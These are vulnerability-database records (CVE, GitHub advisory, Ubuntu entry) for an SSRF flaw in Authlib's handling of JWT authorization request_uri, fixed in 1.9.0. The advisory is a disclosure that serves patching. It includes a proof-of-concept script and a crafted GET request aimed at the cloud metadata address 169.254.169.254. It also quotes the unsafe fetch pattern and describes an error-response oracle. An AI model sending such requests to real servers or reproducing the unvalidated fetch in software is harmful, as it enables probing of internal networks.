{
  "affected": [
    {
      "affectedData": [
        {
          "product": "authlib",
          "vendor": "authlib",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.9.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to 1.9.0, Authlib\u0027s RFC 9101 JWTAuthenticationRequest passes the unauthenticated, client-controlled request_uri parameter to the abstract get_request_object() hook before applying a destination or registration policy; the hook itself performs no network request, while the documentation demonstrates an unrestricted HTTP fetch. In deployments whose integrator implements that hook as an unrestricted outbound fetch, a remote attacker who knows a valid public client identifier can make the authorization server request internal, link-local, or otherwise unintended URLs and can distinguish fetch outcomes through different error responses and timing. Deployments whose custom hook already applies a secure allowlist, destination controls, and retrieval limits are not affected. The JWTAuthenticationRequest implementation in authlib/oauth2/rfc9101/authorization_server.py forwards request_uri to get_request_object() before an application-approved retrieval policy accepts the destination. This issue is fixed in version 1.9.0."
    }
  ],
  "id": "CVE-2026-114620",
  "lastModified": "2026-10-23T19:34:14.170",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 5.4,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "LOW",
          "integrityImpact": "LOW",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.2,
        "impactScore": 2.7,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-10-22T22:18:05.090",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/authlib/authlib/commit/6563f6f7a8c2f71d2f85ee7511d72a4fbae3acc0"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/authlib/authlib/commit/891e3f10ae5989176211f8be35dcc7cd40aa92c6"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/authlib/authlib/pull/949"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/authlib/authlib/releases/tag/v1.9.0"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/authlib/authlib/security/advisories/GHSA-x4rv-c3wx-4cr8"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Undergoing Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-918"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "authlib"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.6.0"
            },
            {
              "fixed": "1.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-114620"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-27T15:39:18Z",
    "nvd_published_at": "2026-10-22T22:18:05Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nAuthlib\u0027s RFC 9101 (JAR) extension passes the attacker-controlled `request_uri` authorization parameter straight to the `get_request_object()` fetch hook with no validation, at a pre-authentication endpoint. Authlib already defines the pre-registration allowlist for this (`request_uris` client metadata and `require_request_uri_registration` server metadata) but the extension never consults it, and both docstrings instruct integrators to implement the hook as an unrestricted `requests.get(request_uri)`. Deployments following the documented pattern get an unauthenticated SSRF primitive. \n### Details\n\nVerified against authlib 1.7.2 and current `main`. All line numbers below are from `authlib/oauth2/rfc9101/authorization_server.py`.\n\nThe extension registers itself on the `before_get_authorization_grant` hook (lines 62-65), so it runs on every authorization request before any user or client authentication. `support_request_uri` defaults to `True` (line 58).\n\nThe only gate before the sink is that `client_id` names an existing client (lines 91-103). A `client_id` is a public, non-secret identifier.\n\nThe sink at line 159 forwards the raw parameter with no scheme, host, or allowlist check:\n\n```python\ndef _get_raw_request_object(self, request: OAuth2Request) -\u003e str:\n    if \"request_uri\" in request.payload.data:\n        raw_request_object = self.get_request_object(\n            request.payload.data[\"request_uri\"]\n        )\n        if not raw_request_object:\n            raise InvalidRequestUriError(state=request.payload.state)\n```\n\n`get_request_object` is abstract (line 213, `raise NotImplementedError()` at line 225), so authlib itself performs no outbound request. The defect is that authlib supplies unvalidated attacker input to that extension point and then documents the insecure implementation twice \u2014 in the class docstring (lines 34-38) and in the hook\u0027s own docstring (lines 218-223):\n\n```python\ndef get_request_object(self, request_uri: str):\n    try:\n        return requests.get(request_uri).text\n    except requests.Exception:\n        return None\n```\n\nTwo points sharpen this beyond a generic documentation issue:\n\n- **The allowlist already exists and is ignored.** Authlib validates `request_uris` as client metadata (`authlib/oauth2/rfc7591/claims.py:319`) and `require_request_uri_registration` as server metadata (`authlib/oauth2/rfc8414/models.py:263`). The `rfc9101` package contains zero references to either name, so the pre-registration model is never enforced at the point of use.\n- **RFC 9101 \u00a710.4.1 asks for controls that are absent.** It states the server should \"a) check that the value of the `request_uri` parameter does not point to an unexpected location, b) check that the media type of the response is `application/oauth-authz-req+jwt`, c) implement a timeout for obtaining the content of `request_uri`, and d) not perform recursive GET on the `request_uri`.\" The extension implements none of these and the documented example implements none of them either.\n\nThe two failure paths are distinguishable, which supplies the inference channel for a blind SSRF: a falsy fetch result raises `InvalidRequestUriError` (`invalid_request_uri`, lines 162-163), while a successful fetch of non-JWT content raises `InvalidRequestObjectError` (`invalid_request_object`, line 186).\n\n### PoC\n\nThis demonstrates the library-level defect with no network egress required: it shows the unvalidated URI reaching the fetch hook pre-authentication.\n\n```bash\npython -m venv .venv \u0026\u0026 .venv/bin/pip install authlib\n```\n\n```python\nfrom authlib.oauth2.rfc6749.requests import BasicOAuth2Payload, OAuth2Request\nfrom authlib.oauth2.rfc9101 import JWTAuthenticationRequest\n\nreached = []\n\n\nclass Extension(JWTAuthenticationRequest):\n    def get_request_object(self, request_uri):\n        reached.append(request_uri)  # the docstring puts requests.get(request_uri) here\n        return None\n\n    def resolve_client_public_key(self, client):\n        return {\"keys\": []}\n\n    def get_server_metadata(self):\n        return {}\n\n    def get_client_require_signed_request_object(self, client):\n        return False\n\n\nclass AuthorizationServer:\n    def query_client(self, client_id):\n        return object()\n\n\nuri = \"http://169.254.169.254/latest/meta-data/\"\nrequest = OAuth2Request(\"GET\", \"https://as.example/authorize\")\nrequest.payload = BasicOAuth2Payload({\"client_id\": \"demo\", \"request_uri\": uri})\n\ntry:\n    Extension().parse_authorization_request(AuthorizationServer(), request)\nexcept Exception as exc:\n    print(\"error:\", type(exc).__name__)\n\nprint(\"fetch hook received:\", reached)\n```\n\nOutput on authlib 1.7.2:\n\n```text\nerror: InvalidRequestUriError\nfetch hook received: [\u0027http://169.254.169.254/latest/meta-data/\u0027]\n```\n\nAgainst a deployment that used the docstring implementation, the equivalent unauthenticated request is:\n\n```text\nGET /authorize?response_type=code\u0026client_id=demo\u0026request_uri=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F\n```\n\nReturning a fetched-but-non-JWT body instead of `None` in the snippet above yields `InvalidRequestObjectError` rather than `InvalidRequestUriError`, showing the oracle that distinguishes a reachable target from an unreachable one.\n\n### Impact\n\nServer-side request forgery, reachable without authentication by anyone who knows a valid `client_id`. In a deployment that implemented `get_request_object` as documented, an attacker can make the authorization server issue GET requests to arbitrary URLs: internal-only services, cloud metadata endpoints such as `169.254.169.254`, and side-effectful internal GET routes. The `invalid_request_uri` versus `invalid_request_object` split, together with response timing, provides an oracle for internal host and port discovery. RFC 9101 \u00a710.4.1 additionally notes the DoS and recursive-lookup risks that the missing timeout and recursion checks leave open.\n\nResponse bodies are consumed as a JWT and never reflected, so this is a blind primitive rather than direct data exfiltration. Because the fetch executes in integrator code, deployments that already allowlist inside their override are unaffected \u2014 but authlib provides no hook to make that the default, ships `support_request_uri=True`, and its documentation steers integrators to the unsafe implementation, so the insecure outcome is the expected one.",
  "id": "GHSA-x4rv-c3wx-4cr8",
  "modified": "2026-10-27T15:39:18Z",
  "published": "2026-10-27T15:39:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/authlib/authlib/security/advisories/GHSA-x4rv-c3wx-4cr8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-114620"
    },
    {
      "type": "WEB",
      "url": "https://github.com/authlib/authlib/pull/949"
    },
    {
      "type": "WEB",
      "url": "https://github.com/authlib/authlib/commit/6563f6f7a8c2f71d2f85ee7511d72a4fbae3acc0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/authlib/authlib/commit/891e3f10ae5989176211f8be35dcc7cd40aa92c6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/authlib/authlib"
    },
    {
      "type": "WEB",
      "url": "https://github.com/authlib/authlib/releases/tag/v1.9.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Authlib: Unvalidated request_uri fetch in JWT-secured authorization request (JAR) leading to SSRF"
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "python3-authlib",
            "binary_version": "0.15.5-1ubuntu0.1~esm2"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:Pro:22.04:LTS",
        "name": "python-authlib",
        "purl": "pkg:deb/ubuntu/python-authlib@0.15.5-1ubuntu0.1~esm2?arch=source\u0026distro=esm-apps/jammy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.15.4-1",
        "0.15.5-1",
        "0.15.5-1ubuntu0.1~esm1",
        "0.15.5-1ubuntu0.1~esm2"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "python3-authlib",
            "binary_version": "1.3.0-1ubuntu0.1~esm2"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:Pro:24.04:LTS",
        "name": "python-authlib",
        "purl": "pkg:deb/ubuntu/python-authlib@1.3.0-1ubuntu0.1~esm2?arch=source\u0026distro=esm-apps/noble"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.2.1-1",
        "1.3.0-1",
        "1.3.0-1ubuntu0.1~esm1",
        "1.3.0-1ubuntu0.1~esm2"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "python3-authlib",
            "binary_version": "1.7.2-2"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:26.10",
        "name": "python-authlib",
        "purl": "pkg:deb/ubuntu/python-authlib@1.7.2-2?arch=source\u0026distro=stonking"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.6.7-1",
        "1.7.2-1",
        "1.7.2-2"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "python3-authlib",
            "binary_version": "1.6.7-1ubuntu0.1~esm1"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:Pro:26.04:LTS",
        "name": "python-authlib",
        "purl": "pkg:deb/ubuntu/python-authlib@1.6.7-1ubuntu0.1~esm1?arch=source\u0026distro=esm-apps/resolute"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.6.0-1",
        "1.6.5-1",
        "1.6.6-1",
        "1.6.7-1",
        "1.6.7-1ubuntu0.1~esm1"
      ]
    }
  ],
  "aliases": [],
  "details": "Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to 1.9.0, Authlib\u0027s RFC 9101 JWTAuthenticationRequest passes the unauthenticated, client-controlled request_uri parameter to the abstract get_request_object() hook before applying a destination or registration policy; the hook itself performs no network request, while the documentation demonstrates an unrestricted HTTP fetch. In deployments whose integrator implements that hook as an unrestricted outbound fetch, a remote attacker who knows a valid public client identifier can make the authorization server request internal, link-local, or otherwise unintended URLs and can distinguish fetch outcomes through different error responses and timing. Deployments whose custom hook already applies a secure allowlist, destination controls, and retrieval limits are not affected. The JWTAuthenticationRequest implementation in authlib/oauth2/rfc9101/authorization_server.py forwards request_uri to get_request_object() before an application-approved retrieval policy accepts the destination. This issue is fixed in version 1.9.0.",
  "id": "UBUNTU-CVE-2026-114620",
  "modified": "2026-10-28T17:50:37Z",
  "published": "2026-10-22T22:18:00Z",
  "references": [
    {
      "type": "REPORT",
      "url": "https://ubuntu.com/security/CVE-2026-114620"
    },
    {
      "type": "REPORT",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-114620"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/authlib/authlib/commit/6563f6f7a8c2f71d2f85ee7511d72a4fbae3acc0"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/authlib/authlib/commit/891e3f10ae5989176211f8be35dcc7cd40aa92c6"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/authlib/authlib/pull/949"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/authlib/authlib/releases/tag/v1.9.0"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/authlib/authlib/security/advisories/GHSA-x4rv-c3wx-4cr8"
    }
  ],
  "related": [],
  "schema_version": "1.7.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "medium",
      "type": "Ubuntu"
    }
  ],
  "upstream": [
    "CVE-2026-114620"
  ]
}